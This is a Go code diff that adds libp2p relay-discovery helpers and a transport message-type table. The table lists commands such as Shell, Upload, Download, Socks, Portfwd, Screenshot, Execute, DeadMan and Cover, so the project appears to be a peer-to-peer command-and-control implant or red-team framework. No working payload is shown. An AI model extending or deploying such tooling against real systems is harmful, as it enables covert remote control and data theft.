+func (n *Node) FindRelayPeers(ctx context.Context, ns string, limit int) ([]peer.AddrInfo, error) {
+	if n.disc == nil {
+		return nil, fmt.Errorf("DHT not enabled")
+	}
+	peerCh, err := n.disc.FindPeers(ctx, ns)
+	if err != nil {
+		return nil, err
+	}
+	var out []peer.AddrInfo
+	for pi := range peerCh {
+		if len(pi.Addrs) == 0 {
+			continue
+		}
+		out = append(out, pi)
+		if len(out) >= limit {
+			break
+		}
+	}
+	return out, nil
+}
+
+// findRelayCandidates scans connected peers for those running circuit relay.
+func findRelayCandidates(ctx context.Context, num int, h host.Host) <-chan peer.AddrInfo {
+	ch := make(chan peer.AddrInfo, num)
+	go func() {
+		defer func() {
+			recover()
+		}()
+		defer close(ch)
+		if h == nil {
+			return
+		}
+		for _, p := range h.Network().Peers() {
+			if len(ch) >= num {
+				return
+			}
+			protocols, err := h.Peerstore().GetProtocols(p)
+			if err != nil {
+				continue
+			}
+			for _, proto := range protocols {
+				if strings.Contains(string(proto), "circuit/relay") {
+					addrs := h.Peerstore().Addrs(p)
+					if len(addrs) > 0 {
+						select {
+						case ch <- peer.AddrInfo{ID: p, Addrs: addrs}:
+						case <-ctx.Done():
+							return
+						}
+					}
+					break
+				}
+			}
+		}
+	}()
+	return ch
+}
+
+// tryStaticRelayConnections attempts to connect to each static relay address in the config.
+func tryStaticRelayConnections(ctx context.Context, h host.Host, relayAddrs []string) {
+	for _, s := range relayAddrs {
+		m, err := multiaddr.NewMultiaddr(s)
+		if err != nil {
+			log.Printf("[node] parse relay addr %q: %v", s, err)
+			continue
+		}
+		pi, err := peer.AddrInfoFromP2pAddr(m)
+		if err != nil {
+			log.Printf("[node] parse relay peer %q: %v", s, err)
+			continue
+		}
+		connCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
+		err = h.Connect(connCtx, *pi)
+		cancel()
+		if err != nil {
+			log.Printf("[node] relay %s unreachable: %v", pi.ID.String(), err)
+			continue
+		}
+		log.Printf("[node] connected to relay %s", pi.ID.String())
+	}
+}
+
+
+
+

pkg/transport/types.go

@@ -0,0 +1,23 @@
+package transport
+
+const (
+	MsgTypeRegister    = uint32(0)
+	MsgTypePing        = uint32(1) // retired, preserves wire numbering
+	MsgTypeTask        = uint32(2)
+	MsgTypeTaskResult  = uint32(3)
+	MsgTypeShell       = uint32(4)
+	MsgTypeDownload    = uint32(5)
+	MsgTypeUpload      = uint32(6)
+	MsgTypeSocks       = uint32(7)
+	MsgTypePortfwd     = uint32(8)
+	MsgTypeScreenshot  = uint32(9)
+	MsgTypeLs          = uint32(10)
+	MsgTypeCd          = uint32(11)
+	MsgTypePwd         = uint32(12)
+	MsgTypeExecute     = uint32(13)
+	MsgTypeKill        = uint32(14)
+	MsgTypePs          = uint32(15)
+	MsgTypeDeadMan     = uint32(16)
+	MsgTypeCover       = uint32(127)
+	MsgTypeDisconnect  = uint32(255)
+)